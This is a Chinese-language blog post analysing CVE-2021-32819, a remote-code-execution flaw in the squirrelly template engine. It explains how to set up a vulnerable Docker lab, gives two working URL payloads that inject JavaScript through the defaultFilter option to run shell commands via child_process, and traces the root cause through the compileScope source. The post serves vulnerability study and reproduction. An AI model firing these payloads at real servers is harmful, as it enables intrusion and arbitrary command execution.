type
Post
status
Published
date
Dec 14, 2022
slug
summary
tags
漏洞
业务安全
category
漏洞分析
icon
password
Property
Feb 9, 2023 07:27 AM
漏洞描述
Npm squirrelly是美国Npm公司的一个应用软件。提供一个使用JavaScript实现的现代,可配置且功能强大的快速模板引擎。
Squirrelly 存在信息泄露漏洞,该漏洞源于通过Express渲染API将纯模板数据与引擎配置选项混合。通过覆盖内部配置选项,可以在下游应用程序中触发远程代码执行。
影响版本
squirrelly 8.0.0 – 8.0.8
环境搭建
环境搭建docker pull vultarget/node_squirrelly_rce-cve_2021_32819:8.0.8 启动容器docker run -it -d -p 9999:3000 vultarget/node_squirrelly_rce-cve_2021_32819:8.0.8
漏洞复现
Payload:
/?Express=aaaa&autoEscape=&defaultFilter=e%27);var+require=global.require+%7C%7C+global.process.mainModule.constructor._load;+require(%27child_process%27).exec(%27touch+/tmp/1111%27);// /?Express=aaaa&autoEscape=&defaultFilter=e%27);let+require=global.require+%7C%7C+global.process.mainModule.constructor._load;+require(%27child_process%27).exec(%27touch+/tmp/2222%27);// '));这个没试过成功,但是有复现文章实现该payload可用

payload可成功执行,效果如图:

漏洞成因
漏洞主要触发点:
src/compile-string.ts
跟进 compileScope。compileScope 中主要就是一个 for 循环,遍历 buff 中的模板内容,如果元素是一个字符串,它会将字符串添加到 returnStr 变量中。
export function compileScope (buff: Array<AstObject>, env: SqrlConfig) { var i = 0 var buffLength = buff.length var returnStr = '' for (i; i < buffLength; i++) { var currentBlock = buff[i] if (typeof currentBlock === 'string') { var str = currentBlock returnStr += "tR+='" + str + "';" } else { var type: ParsedTagType = currentBlock.t as ParsedTagType // h, s, e, i var content = currentBlock.c || '' var filters = currentBlock.f var name = currentBlock.n || '' var params = currentBlock.p || '' var res = currentBlock.res || '' var blocks = currentBlock.b var isAsync = !!currentBlock.a if (type === 'i') { if (env.defaultFilter) { content = "c.l('F','" + env.defaultFilter + "')(" + content + ')' } var filtered = filter(content, filters) if (!currentBlock.raw && env.autoEscape) { filtered = "c.l('F','e')(" + filtered + ')' } returnStr += 'tR+=' + filtered + ';' } else if (type === 'h') { ... } else if (type === 's') { ... } else if (type === 'e') { ... } } } return returnStr }
compileScope 函数会检查 env.defaultFilter 是否设置了,如果有设置 env.defaultFilter,则将 env.defaultFilter 的值添加到 content 变量中。但是现在 env.defaultFilter 还是没有被设置的。然后 filter 函数将 content 内容返回给 filtered 变量:
tR+='<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>'; tR+=c.l('F','e')(it.variable); tR+='</h1>\\n</body>\\n</html>';
最后将 filtered 的内容添加到 returnStr 变量中并返回给 compileToString 函数作用域的 res 变量中,然后再由 compileToString 函数将 res 变量的内容拼接成一个匿名函数
var res = "var tR='';" + "tR+='<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>';tR+=c.l('F','e')(it.variable);tR+='</h1>\\n</body>\\n</html>';" + 'if(cb){cb(null,tR)} return tR'
payload将注入进入 res 变量中, 当返回到 handleCache 函数时,将会执行匿名函数
(function anonymous(it,c,cb ) { var tR=''; tR+='<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>'; tR+=c.l('F','e')(it.variable); tR+='</h1>\n</body>\n</html>'; if(cb){cb(null,tR)} return tR })
看到这里你应该就明白了。这个漏洞主要的引入点就是 compileScope 函数中的 env.defaultFilter,我们可以通过 URL 中的参数来覆盖这个配置属性的值,比如:/?defaultFilter=payload 可以将 env.defaultFilter 的值覆盖为我们的 payload。并且一旦设置了 env.defaultFilter 的值,将进入到以下代码:
content = "c.l('F','" + env.defaultFilter + "')(" + content + ')';
- Author:w1nk1
- URL:https://notion-w1nk1.vercel.app//article/24ed5137-e0b7-4480-a521-400da0049a83
- Copyright:All articles in this blog, except for special statements, adopt BY-NC-SA agreement. Please indicate the source!
Relate Posts